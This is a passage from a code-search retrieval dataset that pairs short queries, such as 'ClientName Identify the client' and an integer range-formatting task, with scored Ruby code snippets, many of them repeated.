|k,v|\n case v\n when Array\n query_params[\"#{k.to_s}[]\"] = v\n when Hash\n v.each do |kk,vv|\n query_params[\"#{k.to_s}[#{kk.to_s}]\"] = vv\n end\n else\n query_params[k.to_s] = v\n end\n end\n query_params\n end", "title": "" }, { "docid": "614c44b5c11aa426bce7fdf7262df662", "score": "0.5292083", "text": "def params=(hash)\n @params.replace hash\n end", "title": "" }, { "docid": "057e0b6225531c8d74f08f36c0e80865", "score": "0.52865523", "text": "def varietal_params\n params.fetch(:varietal, {})\n end", "title": "" }, { "docid": "fa74edac05b53505c2f9077ffc4f6252", "score": "0.52759427", "text": "def transform_params\n params.transform_keys! { |key| key.tr('-', '_') }\n end", "title": "" }, { "docid": "fa74edac05b53505c2f9077ffc4f6252", "score": "0.52759427", "text": "def transform_params\n params.transform_keys! { |key| key.tr('-', '_') }\n end", "title": "" } ]
a6655a98d6ef956d37ed3a2edf81189f
VOID ClientName Identify the client
[ { "docid": "407cf892666925d9b8e76d80377b18af", "score": "0.7594763", "text": "def ClientName=(arg0)", "title": "" } ]
[ { "docid": "f053cbcc585dfb48172b19201952aac8", "score": "0.767458", "text": "def client_name\n\t\t\n\tend", "title": "" }, { "docid": "67a23ebd8b74cbcd16afe7e443540867", "score": "0.74979794", "text": "def client_name; end", "title": "" }, { "docid": "3cb887c6b91e94758edb7cf90d8b3cf4", "score": "0.74574935", "text": "def ClientName()\r\n ret = _getproperty(1610743818, [], [])\r\n @lastargs = WIN32OLE::ARGV\r\n ret\r\n end", "title": "" }, { "docid": "082ad7774cc700003d9fb4de881d2e03", "score": "0.7432228", "text": "def client_name\n client.name\n end", "title": "" }, { "docid": "16da4586bab05bfb0888a256297bcb42", "score": "0.7339779", "text": "def ClientName()\r\n ret = @dispatch._getproperty(1610743818, [], [])\r\n @lastargs = WIN32OLE::ARGV\r\n ret\r\n end", "title": "" }, { "docid": "e5ab44b90024b2ac5874bebcf75b68f6", "score": "0.7331478", "text": "def client_name\r\n self.name.strip.upcase\r\n end", "title": "" }, { "docid": "522632615eca47bedc0d9b0ecd125281", "score": "0.7174084", "text": "def client_name\n me.client.name\n end", "title": "" }, { "docid": "590b13b457f0acd776a36ccf4b9dd5d6", "score": "0.7147175", "text": "def client_name\n sockname[0]\n end", "title": "" }, { "docid": "f8025e35053f2406eb148307b8da476b", "score": "0.70193624", "text": "def client_name\n return @hostname if defined? @hostname\n\n sockaddr = @socket.getsockname\n begin\n @hostname =\n Socket.getnameinfo( sockaddr, Socket::NI_NAMEREQD ).first\n rescue\n begin\n @hostname = Socket.getnameinfo( sockaddr ).first\n rescue\n begin\n @hostname = Socket.gethostbyname( Socket.gethostname ).first\n rescue\n @logger.error \"the client ipaddr/name could not be determined\"\n end\n end\n end\n\n return @hostname\n end", "title": "" }, { "docid": "f0fadb3f78e918746440ab7c07a21e46", "score": "0.69707584", "text": "def client(name)\n @clients[name]\n end", "title": "" }, { "docid": "004f7bda44c3d0d6fa3653121c4a6b81", "score": "0.6804127", "text": "def client_name\n __evaluate__(storage_options[:client])\n end", "title": "" }, { "docid": "094e9162f6a91b5d986f3eb561163876", "score": "0.673481", "text": "def client_name\n return @client_name\nend", "title": "" }, { "docid": "680f2494f4d810ae5e95ae438d76f129", "score": "0.66704273", "text": "def username\n client.username if client\n end", "title": "" }, { "docid": "d9032ec788fedc0e7507c5e56c7e82ad", "score": "0.65883046", "text": "def client(name)\n Thread.current['clients_manager'].client(name)\n end", "title": "" }, { "docid": "37da3ec95e5b34d880981c9af466552b", "score": "0.6414107", "text": "def getClientIdentificationObjName\r\n\t\t\treturn \"mfiforce__Client_Identification__c\"\r\n\t\tend", "title": "" }, { "docid": "5d36b47465c163e7b41aa4cc345d905f", "score": "0.63643", "text": "def show_current_client\n return \"\" unless logged_in? && current_client \n \"Client: #{current_client.client_name}\"\n end", "title": "" }, { "docid": "53812a2b080d6dfdbd6eb68edb71c36c", "score": "0.63450515", "text": "def identify_visitor\n\t\tputs \"Hello and welcome to #{$shelter.name}\"\n\t\tname = prompt_input('Please enter your first name:')\n\n\t\t#If clients already exists, greet. If not, call add client function\n\t\tif $shelter.clients.include?(name)\n\t\t\tputs \"Welcome back, #{name}.\"\n\t\t\treturn $shelter.clients[name]\n\t\telse\n\t\t\treturn add_client(name)\n\t\tend\n\tend", "title": "" }, { "docid": "d6b2f594a4fed523a9755e0647d0277b", "score": "0.6341327", "text": "def show_client_name\n @clients = Client.order(:name)\n end", "title": "" }, { "docid": "88e42057d9a47540305d55fb739d5132", "score": "0.6291897", "text": "def initialize(name, client)\n\t\t@name = name\n\t\t@client = client\n\tend", "title": "" }, { "docid": "6e614c1c87bb78efa832a7cf1c8aa31e", "score": "0.6231677", "text": "def initialize(client, name)\n raise InvalidName.new unless name\n @client = client\n @name = name.to_s\n end", "title": "" }, { "docid": "f07f9e71253b6aa993f1a8927a80f8f2", "score": "0.62122715", "text": "def client(name)\n client_to_find = name\n @clients.find {|key, value| key == client_to_find } \n end", "title": "" }, { "docid": "d93f989e641f5131ee175ff3d0100af6", "score": "0.61867523", "text": "def client_by_name(client_name, options={})\n params = {\n :klass => Invoicexpress::Models::Client,\n :client_name => client_name\n }\n\n get(\"clients/find-by-name.xml\", params.merge(options))\n end", "title": "" }, { "docid": "552c297b302d670162569a7f08b189b4", "score": "0.61756897", "text": "def shortclient(client)\n client.gsub(/\\..*/, '').to_sym\n end", "title": "" }, { "docid": "3120097e5a2cd7c796c50e644f7a45fb", "score": "0.61488557", "text": "def client_name= name\n page = @agent.get('http://workforceportal.elabor.com/ezLaborManagerNetRedirect/clientlogin.aspx')\n @page = page.form('ClientLoginForm') { |form|\n form.txtClientName = name\n form.hdnTimeZone = 'Pacific Standard Time'\n form['__EVENTTARGET'] = 'btnSubmit'\n }.submit\n @page = @page.form_with(:action => /ezlmportaldc2.adp.com/).submit\n @page = @page.form_with(:action => /adp\\.com/).submit\n end", "title": "" }, { "docid": "81d2eecdfa6a7083c5d5caf202cfc78a", "score": "0.61017674", "text": "def initialize( client, name )\n @client = client\n @name = name\n ping\n end", "title": "" }, { "docid": "5195fe9ec9bfbc14edd980ffb621de44", "score": "0.6077566", "text": "def client_name\n @proposal.client.name\n end", "title": "" }, { "docid": "77bef830ec8613dd4f0e0ec54e97d075", "score": "0.6010726", "text": "def get_client_name\n client_name = nil\n if env.present?\n Webmetrics::Config.client_matchers.each do |key, matcher|\n if matcher.respond_to?(:call) and matcher.call(env)\n client_name = key\n break\n end\n end\n end\n\n # return client name\n client_name || Webmetrics::Config.default_client\n end", "title": "" }, { "docid": "ae8f9fd35ecd977f2626d22fa2daf381", "score": "0.59788436", "text": "def client(client)\n command 'CLIENT', client.to_str.inspect do\n response 250\n end\n end", "title": "" }, { "docid": "8f87ead997b1468f4b3d402c8e8ceb87", "score": "0.59748656", "text": "def get_client_name(arg)\n if arg == \"us\" || arg == \"tm\" then\n return arg\n else\n return \"us\"\n end\nend", "title": "" }, { "docid": "df5d6fd50e65d998074e0d00c8f7aabb", "score": "0.5885542", "text": "def getClienObjName\r\n\t\t\treturn \"mfiforce__Client__c\"\r\n\t\tend", "title": "" }, { "docid": "24a82be2d3794bda371b0f2189e47677", "score": "0.5868155", "text": "def anonymous_client_id(web_socket)\n @clients[web_socket.signature] || \"__anonymous-client-#{(@anonymous_client_id += 1)}\".to_sym\n end", "title": "" }, { "docid": "417228863bed2e597638bd7e6305c1bb", "score": "0.58567953", "text": "def ServerName()\r\n ret = _getproperty(1610743816, [], [])\r\n @lastargs = WIN32OLE::ARGV\r\n ret\r\n end", "title": "" }, { "docid": "4e7eb6df0cef5863975e951c459df41d", "score": "0.58341193", "text": "def find_client(cl_name)\n chef_clients.find{|ccl| ccl.name == cl_name }\n end", "title": "" }, { "docid": "37ddac918efcd74e614d63e42bb2c5a1", "score": "0.5808013", "text": "def server_names(client, body)\n unless (@rooms[body] || []).include?(client.name)\n select_send(MSG_SERVER, EMPTY_ROOM, @keyring.default.iv,\n server_encrypt(\"notice You are not in that room.\")\n ) { |x| x == client }\n return nil\n end\n select_send(MSG_SERVER, EMPTY_ROOM, @keyring.default.iv,\n server_encrypt(\"names #{body}#{@rooms[body].join('')}\")\n ) { |x| x == client }\nend", "title": "" }, { "docid": "3d371836c5c4899e3f951f245490d3de", "score": "0.58044094", "text": "def input_valid_client\n \n adopting_client_name = \"\" \n print(\"Enter client name: \")\n adopting_client_name = gets.chomp\n\n while @clients[adopting_client_name.to_sym].nil?\n puts(\"That client not found. Please try again.\")\n print(\"Enter client name: \")\n adopting_client_name = gets.chomp\n end\n\n return @clients[adopting_client_name.to_sym]\n end", "title": "" }, { "docid": "1ba3ff7d34fcac05c1dae1230e2d70f9", "score": "0.5789898", "text": "def client_id_or_name=(client_id_or_name)\n if client_id_or_name.to_i == 0\n self.client_id = Client.find_or_create_by(name: client_id_or_name).id\n else\n self.client_id = Client.find_or_create_by(client_id_or_name).id\n end\n end", "title": "" }, { "docid": "b3e974a1586209893ead490000f7b14e", "score": "0.5778254", "text": "def hostname\n session.transport.socket.client_name\n end", "title": "" }, { "docid": "13d1f55a18c243bd0f047334b21f804a", "score": "0.57314754", "text": "def ServerName()\r\n ret = @dispatch._getproperty(1610743816, [], [])\r\n @lastargs = WIN32OLE::ARGV\r\n ret\r\n end", "title": "" }, { "docid": "1a1907d8ba8a1241f111b1182aa094c7", "score": "0.57295656", "text": "def add_client(name)\n\tage = prompt_input(\"How old are you, #{name}?\").to_i\n\tnumber_of_pets = prompt_input('How many pets do you have now?').to_i\n\tputs \"Thanks, #{name}! We're glad to have you with us.\"\n\n\t$shelter.clients[name] = Person.new(name, age, number_of_pets)\n\tend", "title": "" }, { "docid": "61e3891063670c01f5d22a0a48d9e567", "score": "0.5726665", "text": "def user_company\n if Client.find_by_id(current_user.client_id)\n Client.find_by_id(current_user.client_id).client_name\n end\n end", "title": "" }, { "docid": "908b52fb53ae2436fb97d6115bd16464", "score": "0.5726457", "text": "def client_info\n #implement\n client_information = \"#{@name_str} #{@age_num} #{@pet_num}\"\n end", "title": "" }, { "docid": "cd73db106023f944ce3cb3477c34d98b", "score": "0.5707649", "text": "def my_clients_names\n self.my_clients.map do |client|\n client.name\n end\n end", "title": "" }, { "docid": "69016612b2342bff13e7264f63af3523", "score": "0.5692357", "text": "def client_hostname\n @opts[:hostname]\n end", "title": "" }, { "docid": "c4f467af3bb2889b4bbdbeb708556e43", "score": "0.5686936", "text": "def by_name(client_name)\n clients = @harvest.clients.all.select{ |c| c.name.downcase.include?(client_name.downcase) }\n\n make_clients(clients)\n end", "title": "" }, { "docid": "407d43452fbac46af0eb23a420773fdc", "score": "0.5676338", "text": "def client_id=(value)\n reset_agent\n @client_id = value\n end", "title": "" }, { "docid": "6dd35a70c14c83031e9f312ffd40ccdf", "score": "0.5674312", "text": "def name\n unless @name\n begin\n @name = get_login\n rescue TiscapError => toki_doki\n @name = ''\n raise toki_doki\n ensure\n @accepting = true\n end\n end\n \n @name\n \n # We can fairly assume that no one will concurrently ask for our name\n # until this method returns for the first time.\n end", "title": "" }, { "docid": "2b23b6ac870084374022dc2fc09370e8", "score": "0.56720245", "text": "def client_params\n params.require(:client).permit(\n :name,\n )\n end", "title": "" }, { "docid": "c8c5e02e309e4f078591c06f1789fede", "score": "0.5665974", "text": "def set_client_id\n\t\t\t@client = Client.find(session[:CLIENT_ID])\n\t\tend", "title": "" }, { "docid": "e2d6e9cbebf9269f0dc360a18ce44516", "score": "0.56505245", "text": "def timeout_client(params = nil)\n if @name_index\n @conf.insert(@name_index + @conf.length, \" \" + \"timeout client \" + params.to_s + \"\\n\")\n else\n puts \"no #{@proxy_type} name assigned\"\n return false\n end\n end", "title": "" }, { "docid": "c91a03ba38c2ed0ecf45c796c8e20b8d", "score": "0.5645731", "text": "def client_class\n ActiveSupport::Inflector.constantize(@client_class_name)\n end", "title": "" }, { "docid": "061f894a6e0a26a9a1e997b0a4c02f4f", "score": "0.5618574", "text": "def client\n query[\"client_id\"]\n end", "title": "" }, { "docid": "efef753ed1c17eb47255392d4aaec4ee", "score": "0.56092274", "text": "def display_all_clients\n clients.each_with_index do |client, index|\n puts \"Client ##{index + 1}. #{client.name.capitalize}\"\n end\n end", "title": "" }, { "docid": "874cc76e5e40fa4ff17b2537ee9eda00", "score": "0.5608131", "text": "def clientid\n @obj['clientid']\n end", "title": "" }, { "docid": "988e85a11f89a91999a82b306932e373", "score": "0.5580991", "text": "def bogusclient(msg, client)\n \t\taddr = client.peeraddr\n\t\t\n\t\tSyslog.info(\"Client #{addr[2]} [#{addr[3]}] #{msg}\")\n\n\t\t@@policyMutex.synchronize {\n\t\t\t@@bogusclients += 1\n\t\t}\n\tend", "title": "" }, { "docid": "2af6f282a11b3ca78eb1ac065e47030c", "score": "0.55635536", "text": "def client\n end", "title": "" }, { "docid": "42a8c54017154d5faaae27dac103596c", "score": "0.55522275", "text": "def client_id=(value)\n @client_id = value\n end", "title": "" }, { "docid": "aae39bf8353c50540adbba5dfea1be84", "score": "0.5540984", "text": "def set_ClientKey(value)\n set_input(\"ClientKey\", value)\n end", "title": "" }, { "docid": "aae39bf8353c50540adbba5dfea1be84", "score": "0.5540984", "text": "def set_ClientKey(value)\n set_input(\"ClientKey\", value)\n end", "title": "" }, { "docid": "aae39bf8353c50540adbba5dfea1be84", "score": "0.5540984", "text": "def set_ClientKey(value)\n set_input(\"ClientKey\", value)\n end", "title": "" }, { "docid": "aae39bf8353c50540adbba5dfea1be84", "score": "0.5540984", "text": "def set_ClientKey(value)\n set_input(\"ClientKey\", value)\n end", "title": "" }, { "docid": "aae39bf8353c50540adbba5dfea1be84", "score": "0.5540984", "text": "def set_ClientKey(value)\n set_input(\"ClientKey\", value)\n end", "title": "" }, { "docid": "aae39bf8353c50540adbba5dfea1be84", "score": "0.5540984", "text": "def set_ClientKey(value)\n set_input(\"ClientKey\", value)\n end", "title": "" }, { "docid": "7e62af4cd065635a1fa5be56e7f9aca1", "score": "0.5537881", "text": "def allowNameService()\n banner(\"Allow Name Service\")\n nameServers = getNameServers()\n @NameServersName = \"NameServers\"\n declareSet(@NameServersName, nameServers)\n permit(@NameServersName, @allAgentsName, \"AllowNameService-I\")\n permit(@allAgentsName, @NameServersName, \"AllowNameService-II\")\n end", "title": "" }, { "docid": "fc0191b4ccaeab7e7a4919d53a3f8134", "score": "0.5517117", "text": "def client_id\n @client_id ||= Staccato.build_client_id\n end", "title": "" }, { "docid": "468dfd06c56d9d232078038f201d2c3d", "score": "0.55122167", "text": "def username\n @username || raise(Communicator::MissingCredentials.new(\"No Username specified for HTTP AUTH. Please configure using Communicator.username='xyz'\"))\n end", "title": "" }, { "docid": "09a5995a60ffc57330042c4259b821a2", "score": "0.55108833", "text": "def register_client_alias(name, client)\n registered_client_aliases[name.to_sym] = client\n end", "title": "" }, { "docid": "916c82629f9ccb6e60d2958898c7f548", "score": "0.5510452", "text": "def show\n @client_name = Client.find(@activity.client_id).complete_name\n end", "title": "" }, { "docid": "27bbb029228776c5fe9c955b137cd1c9", "score": "0.5498566", "text": "def set_ClientID(value)\n set_input(\"ClientID\", value)\n end", "title": "" }, { "docid": "27bbb029228776c5fe9c955b137cd1c9", "score": "0.5498566", "text": "def set_ClientID(value)\n set_input(\"ClientID\", value)\n end", "title": "" }, { "docid": "a2908f2deb8fe61ccce77cf0cbfa13a0", "score": "0.54981065", "text": "def _user_name(kh)\n @connection.comm.sender_name(kh) || 'unknown_user'\nend", "title": "" }, { "docid": "27bbb029228776c5fe9c955b137cd1c9", "score": "0.5497062", "text": "def set_ClientID(value)\n set_input(\"ClientID\", value)\n end", "title": "" }, { "docid": "27bbb029228776c5fe9c955b137cd1c9", "score": "0.5497062", "text": "def set_ClientID(value)\n set_input(\"ClientID\", value)\n end", "title": "" }, { "docid": "27bbb029228776c5fe9c955b137cd1c9", "score": "0.5497062", "text": "def set_ClientID(value)\n set_input(\"ClientID\", value)\n end", "title": "" }, { "docid": "27bbb029228776c5fe9c955b137cd1c9", "score": "0.5497062", "text": "def set_ClientID(value)\n set_input(\"ClientID\", value)\n end", "title": "" }, { "docid": "27bbb029228776c5fe9c955b137cd1c9", "score": "0.5497062", "text": "def set_ClientID(value)\n set_input(\"ClientID\", value)\n end", "title": "" }, { "docid": "27bbb029228776c5fe9c955b137cd1c9", "score": "0.5497062", "text": "def set_ClientID(value)\n set_input(\"ClientID\", value)\n end", "title": "" }, { "docid": "27bbb029228776c5fe9c955b137cd1c9", "score": "0.5497062", "text": "def set_ClientID(value)\n set_input(\"ClientID\", value)\n end", "title": "" }, { "docid": "27bbb029228776c5fe9c955b137cd1c9", "score": "0.5497062", "text": "def set_ClientID(value)\n set_input(\"ClientID\", value)\n end", "title": "" }, { "docid": "27bbb029228776c5fe9c955b137cd1c9", "score": "0.5497062", "text": "def set_ClientID(value)\n set_input(\"ClientID\", value)\n end", "title": "" }, { "docid": "27bbb029228776c5fe9c955b137cd1c9", "score": "0.5497062", "text": "def set_ClientID(value)\n set_input(\"ClientID\", value)\n end", "title": "" }, { "docid": "27bbb029228776c5fe9c955b137cd1c9", "score": "0.5497062", "text": "def set_ClientID(value)\n set_input(\"ClientID\", value)\n end", "title": "" }, { "docid": "27bbb029228776c5fe9c955b137cd1c9", "score": "0.5497062", "text": "def set_ClientID(value)\n set_input(\"ClientID\", value)\n end", "title": "" }, { "docid": "27bbb029228776c5fe9c955b137cd1c9", "score": "0.5497062", "text": "def set_ClientID(value)\n set_input(\"ClientID\", value)\n end", "title": "" }, { "docid": "27bbb029228776c5fe9c955b137cd1c9", "score": "0.5497062", "text": "def set_ClientID(value)\n set_input(\"ClientID\", value)\n end", "title": "" }, { "docid": "27bbb029228776c5fe9c955b137cd1c9", "score": "0.5497062", "text": "def set_ClientID(value)\n set_input(\"ClientID\", value)\n end", "title": "" }, { "docid": "27bbb029228776c5fe9c955b137cd1c9", "score": "0.5497062", "text": "def set_ClientID(value)\n set_input(\"ClientID\", value)\n end", "title": "" }, { "docid": "27bbb029228776c5fe9c955b137cd1c9", "score": "0.5497062", "text": "def set_ClientID(value)\n set_input(\"ClientID\", value)\n end", "title": "" }, { "docid": "27bbb029228776c5fe9c955b137cd1c9", "score": "0.5497062", "text": "def set_ClientID(value)\n set_input(\"ClientID\", value)\n end", "title": "" }, { "docid": "27bbb029228776c5fe9c955b137cd1c9", "score": "0.5497062", "text": "def set_ClientID(value)\n set_input(\"ClientID\", value)\n end", "title": "" }, { "docid": "27bbb029228776c5fe9c955b137cd1c9", "score": "0.5497062", "text": "def set_ClientID(value)\n set_input(\"ClientID\", value)\n end", "title": "" }, { "docid": "27bbb029228776c5fe9c955b137cd1c9", "score": "0.5497062", "text": "def set_ClientID(value)\n set_input(\"ClientID\", value)\n end", "title": "" }, { "docid": "27bbb029228776c5fe9c955b137cd1c9", "score": "0.5497062", "text": "def set_ClientID(value)\n set_input(\"ClientID\", value)\n end", "title": "" }, { "docid": "27bbb029228776c5fe9c955b137cd1c9", "score": "0.5497062", "text": "def set_ClientID(value)\n set_input(\"ClientID\", value)\n end", "title": "" }, { "docid": "27bbb029228776c5fe9c955b137cd1c9", "score": "0.5497062", "text": "def set_ClientID(value)\n set_input(\"ClientID\", value)\n end", "title": "" }, { "docid": "27bbb029228776c5fe9c955b137cd1c9", "score": "0.5497062", "text": "def set_ClientID(value)\n set_input(\"ClientID\", value)\n end", "title": "" }, { "docid": "27bbb029228776c5fe9c955b137cd1c9", "score": "0.5497062", "text": "def set_ClientID(value)\n set_input(\"ClientID\", value)\n end", "title": "" }, { "docid": "27bbb029228776c5fe9c955b137cd1c9", "score": "0.5497062", "text": "def set_ClientID(value)\n set_input(\"ClientID\", value)\n end", "title": "" }, { "docid": "27bbb029228776c5fe9c955b137cd1c9", "score": "0.5497062", "text": "def set_ClientID(value)\n set_input(\"ClientID\", value)\n end", "title": "" }, { "docid": "27bbb029228776c5fe9c955b137cd1c9", "score": "0.5497062", "text": "def set_ClientID(value)\n set_input(\"ClientID\", value)\n end", "title": "" } ]
0c60fbc214bb4d10cd6240f1276cfe6d
individual integers or a range of integers denoted by the starting integer separated from the end integer in the range by a dash, ''. The range includes all integers in the interval including both endpoints. It is not considered a range unless it spans at least 3 numbers. For example ("12, 13, 1517") Complete the solution so that it takes a list of integers in increasing order and returns a correctly formatted string in the range format.
[ { "docid": "268ed7b06fb1b5860c93c906de794650", "score": "0.6376599", "text": "def solution(array)\n array = array.compact.uniq.sort\n ranges = []\n if !array.empty?\n left, right = array.first, nil\n array.each do |obj|\n if right && obj != right.succ\n ranges << Range.new(left,right)\n left = obj\n end\n right = obj\n end\n ranges << Range.new(left,right)\n end\n final = []\n ranges.each do |range|\n count = range.map.count\n if count == 1\n range = range.first.to_s\n elsif count == 2\n range = range.first.to_s + ',' + range.last.to_s\n else\n range = range.first.to_s + '-' + range.last.to_s \n end\n final << range\n end\n final.join(\",\")\nend", "title": "" } ]
[ { "docid": "b57c5fdab058247051432a3f00f11dd6", "score": "0.7507335", "text": "def to_s\n return '' if range.nil?\n [range.min, range.max].uniq.join('-')\n end", "title": "" }, { "docid": "1bb6629b306ed9e56d29cbbd50e6b27a", "score": "0.7192951", "text": "def to_s()\n \"#{range_start} - #{range_end}\"\n end", "title": "" }, { "docid": "889b2444819be5971b570fb97a0d834b", "score": "0.71419734", "text": "def create_range_string(array)\n \"#{array.first}-#{array.last}\"\nend", "title": "" }, { "docid": "11961dbe88923b59a4716ca08b8347c8", "score": "0.71032065", "text": "def range(*args)\n value = \"[\"\n args.each_slice(2) do |from, to|\n from = sanitize(from)\n to = sanitize(to)\n value += \"#{from}-#{to}\"\n end\n value += \"]\"\n add(value)\n end", "title": "" }, { "docid": "fc6bc53d9acad459dc07e3d25167a927", "score": "0.6859083", "text": "def range_string(range)\n raise Error, \"#{range} is not a Range\" unless range.is_a? Range\n\n from = range.min\n to = range.max\n \"#{from} #{BETWEEN_SEPARATOR} #{to}\"\n end", "title": "" }, { "docid": "a8fead1b77d6ed1f0441207eccfb27c3", "score": "0.6799334", "text": "def range_as_string\n\n res = ''\n \n if @validation_lower_limitor or @validation_upper_limit\n \n if @validation_lower_limit!='' or @validation_upper_limit!=''\n\n res += '&nbsp;&nbsp;&nbsp;&#x2192;&nbsp;&nbsp;'\n \n \n # have a valid lower limit\n if @validation_lower_limit!=''\n res += '[&nbsp;' + @validation_lower_limit + '&nbsp;,&nbsp;'\n else\n res += '[&nbsp;&#8722;&#8734&nbsp;,&nbsp;'\n end\n \n # have a valid upper limit\n if @validation_upper_limit!=''\n res += @validation_upper_limit + '&nbsp;]'\n else\n res += '&#8734&nbsp;]'\n end\n end\n end \n \n return res\n \n end", "title": "" }, { "docid": "1079305c477f27e1eda8ac70b4b99b99", "score": "0.67964", "text": "def print_range(start_range, end_range)\n start_range == end_range ? \"#{start_range}\" : \"#{start_range}-#{end_range}\"\n end", "title": "" }, { "docid": "8efe0a8a46bfa2fa22485f34c5ed784d", "score": "0.6787978", "text": "def format_test_range(range)\n abort('Invalid test range.') unless /\\d+-\\d+/ =~ range\n # Parse left side of dash\n begin_range = range.match(/\\d+/).to_s.to_i\n # Parse right side of dash\n end_range = range.match(/\\d+$/).to_s.to_i\n (begin_range..end_range).to_a.map! { |t| format_test_number(t) }\nend", "title": "" }, { "docid": "73bef9a88c08a86de8f2c9e71ea4d3f1", "score": "0.67836165", "text": "def to_range\n return nil if self.empty?\n\n first, last = self.split(/-/).map { |val| val.to_i }\n last ||= first\n first..last\n end", "title": "" }, { "docid": "4bb9a026c948db30e1c7127ad8d17fde", "score": "0.67393637", "text": "def build_range(r)\n \"[#{r.min} TO #{r.max}]\"\n end", "title": "" }, { "docid": "f39ec44c8aef2b299fc0a8b0d313b8a0", "score": "0.6731419", "text": "def normalize_ranges(pattern)\n if pattern.include? \"-\"\n pattern.gsub(/\\s/, \"\").split(',').map do |value|\n if value.include? '-' \n if value =~ /^\\d+-\\d+$/\n a, b = value.split('-')\n Array(a..b)\n else\n value\n end\n else \n value =~ /^\\d+$/ ? value.to_i : value\n end\n end.uniq.join(',')\n else\n pattern\n end\n end", "title": "" }, { "docid": "bfd4ce366595a78c4282ecb274eab3b1", "score": "0.671482", "text": "def range\n x = ''\n if min.present? && max.present?\n x = \"#{min} - #{max}\"\n elsif min.present?\n x = \"> #{min}\"\n elsif max.present?\n x = \"< #{max}\"\n end\n return x\n end", "title": "" }, { "docid": "42752fc2c982dae04633b32cb6a2eaa3", "score": "0.6709187", "text": "def deconstruct_range (range)\n out = []\n return out if range.length == 0\n range.to_s.gsub(' ', '').split(',').each do |s|\n if s =~ /-/\n lo, hi = s.split('-')\n hi = hi.to_i; lo = lo.to_i\n hi, lo = lo, hi if hi < lo\n hi == lo ? out.push(hi.to_s) : (lo..hi).each { |i| out.push i.to_s }\n else\n out.push s.to_s\n end\n end\n out\n end", "title": "" }, { "docid": "0571955b435775024f6b6f2e92dd000a", "score": "0.6698086", "text": "def to_s\n \"range(#{@start}, #{@end}, #{@step})\"\n end", "title": "" }, { "docid": "bb34d7cd8e631781f07155d4c6f7447d", "score": "0.6626032", "text": "def to_s(options = {})\n options ||= {}\n return '' if value.blank?\n\n delimiter = options[:delimeter].presence || default_integer_range_delimiter\n\n from = value.try(:[], 'from').to_i\n till = value.try(:[], 'till').to_i\n\n return '' if from.zero? && till.zero?\n\n if from.zero?\n [I18n.t('cck_forms.integer_range.till'), till].join(' ')\n elsif till.zero?\n [I18n.t('cck_forms.integer_range.from'), from].join(' ')\n elsif from == till\n from.to_s\n else\n [from, till].join(delimiter)\n end\n end", "title": "" }, { "docid": "60dc805a182e7131dc02a911b3bcaafa", "score": "0.6623681", "text": "def id_range_to_s id_range\n id_range.to_a.join(\",\")\n end", "title": "" }, { "docid": "8af0d40c1088cd8b108be82a04435d8d", "score": "0.6586424", "text": "def solution(list)\n res = \"\"\n i = 0\n while i < list.length\n range_end = return_range_end(list, i)\n res += range_end > i ? \"#{list[i]}-#{list[range_end]},\" : \"#{list[i]},\"\n i = range_end + 1\n end\n res.slice(0..-2)\nend", "title": "" }, { "docid": "009dd53447ab1024ee463ab0f074e15e", "score": "0.65789443", "text": "def stringify_range_bounds(ranges)\n ranges.map { |r| r.first.to_s..r.last.to_s }\n end", "title": "" }, { "docid": "dbdd09771b1cf59c6b52ff1a3f8a7820", "score": "0.65712434", "text": "def composeRanges(nums)\n return [] if nums.empty?\n ranges = []\n ranges << [nums.first]\n i = 1\n while i < nums.length\n if nums[i] - nums[i-1] == 1\n ranges.last << nums[i]\n else\n ranges << [nums[i]]\n end\n i += 1\n end\n ranges.map do |range|\n if range.length == 1\n range.first.to_s\n else\n \"#{range.first}->#{range.last}\"\n end\n end\nend", "title": "" }, { "docid": "6e77495191a9ba864af007be0a444247", "score": "0.65651554", "text": "def id_ranges_display(items:)\n ids = items.map(&:id).sort\n ranges = []\n range = [ids.shift]\n\n ids.each do |id|\n if id == range.last + 1\n range.append(id)\n else\n ranges.append(range)\n range = [id]\n end\n end\n ranges.append(range)\n\n ranges.map! { |r| r.length == 1 ? r.first.to_s : \"#{r.first} - #{r.last}\" }\n ranges.to_sentence\n end", "title": "" }, { "docid": "6e77495191a9ba864af007be0a444247", "score": "0.6564671", "text": "def id_ranges_display(items:)\n ids = items.map(&:id).sort\n ranges = []\n range = [ids.shift]\n\n ids.each do |id|\n if id == range.last + 1\n range.append(id)\n else\n ranges.append(range)\n range = [id]\n end\n end\n ranges.append(range)\n\n ranges.map! { |r| r.length == 1 ? r.first.to_s : \"#{r.first} - #{r.last}\" }\n ranges.to_sentence\n end", "title": "" }, { "docid": "ce9b6c100ab813ccd1b654a1083e76b0", "score": "0.65338755", "text": "def normalized_date_range_str\n if date_normalized_start.to_i + 1 == date_normalized_end.to_i\n return \"#{date_normalized_start}\"\n elsif date_normalized_start.present? || date_normalized_end.present?\n return \"#{date_normalized_start} - #{date_normalized_end}\"\n end\n return \"\"\n end", "title": "" }, { "docid": "7af72462eee33bec826424dc0fcb62c4", "score": "0.64701736", "text": "def int_range name, int_type, i1, i2, *options\n if i1.class == Integer && i2.class == Integer\n parse_tree.append(add_options(\"h.int_range(\" + int_type + ',' + i1.to_s + \", \" + i2.to_s + \")\"))\n # Hammer::Parser.int_range(i1, i2)\n end\n end", "title": "" }, { "docid": "7eb8d0b76bbbbe84709981aac5b796c7", "score": "0.64465344", "text": "def str_range(str)\n nums = str.split(\",\")\n int_nums_arr = nums.map {|num| num.to_i}\n int_nums_arr.max - int_nums_arr.min\nend", "title": "" }, { "docid": "dfd41adba1bc08d60d1ead19368df1d4", "score": "0.64184564", "text": "def rangify(range)\n '%w(' + Rangifier.new(strip_parens(range)).values.join(' ') + ')'\n end", "title": "" }, { "docid": "7e7688decd6d7a2eb2322a9b9a55c25a", "score": "0.6366459", "text": "def start_end_2_range\n if !start_range.blank? && !end_range.blank?\n self.range = \"(#{start_range}..#{end_range})\"\n self.display = \"#{start_range} to #{end_range}\"\n elsif start_range && end_range.blank?\n self.range = \"(#{start_range}+)\"\n self.display = \"#{start_range} and more\"\n end\n end", "title": "" }, { "docid": "de48264e7bc0665ce2e6fbb3ef5d1f09", "score": "0.6361213", "text": "def range(arr)\n # your code goes here\n arr.min.to_s + \" to \" + arr.max.to_s\n end", "title": "" }, { "docid": "30061c698a8526e2a4996313eaaa53bd", "score": "0.6353258", "text": "def to_s\n from = self.begin.to_s\n to = self.end.to_s\n\n case self.end - self.begin\n when 0 then return from\n when 1 then return from + ', ' + to\n else return from + '-' + to\n end\n end", "title": "" }, { "docid": "15533a9c33a7f3d6faf6d2637309e07d", "score": "0.6340736", "text": "def range(start_num, end_num)\n return [] if end_num <= start_num\n\n [start_num] + range(start_num + 1, end_num)\nend", "title": "" }, { "docid": 